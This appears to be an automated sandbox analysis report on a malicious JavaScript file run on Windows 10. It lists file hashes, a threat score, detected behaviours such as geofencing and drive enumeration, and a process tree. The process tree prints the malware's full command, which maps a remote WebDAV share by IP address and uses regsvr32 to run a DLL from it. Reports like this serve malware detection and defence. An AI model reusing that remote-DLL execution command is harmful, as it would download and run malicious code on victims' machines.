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Analysis

  • max time kernel
    136s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 02:14

General

  • Target

    459218370446121433.js

  • Size

    5KB

  • MD5

    d8c4529a4f1db13819e670d2a913c7bd

  • SHA1

    300a1948006261f19afa6547cb89f2170f6d5296

  • SHA256

    83a34d7d1ddce6af24d568f85bd113fbe88708b81f402d5821eaf100120e3e1d

  • SHA512

    ba7cc27c796347e8ca866386355594552a434b7a81c5e4d9c7aabbc52a97e7f7465ae69345189476cb280c1954cff13f894ab200a0504992d85fe626244e2d32

  • SSDEEP

    96:u5BwDXfVyX94cVNs7aqlAq4JnAkzKaH4Jng:uHw7VyX94WNs7tlAq4nAkzKaH4ng

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\459218370446121433.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\31400226922294.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3668
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3584

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads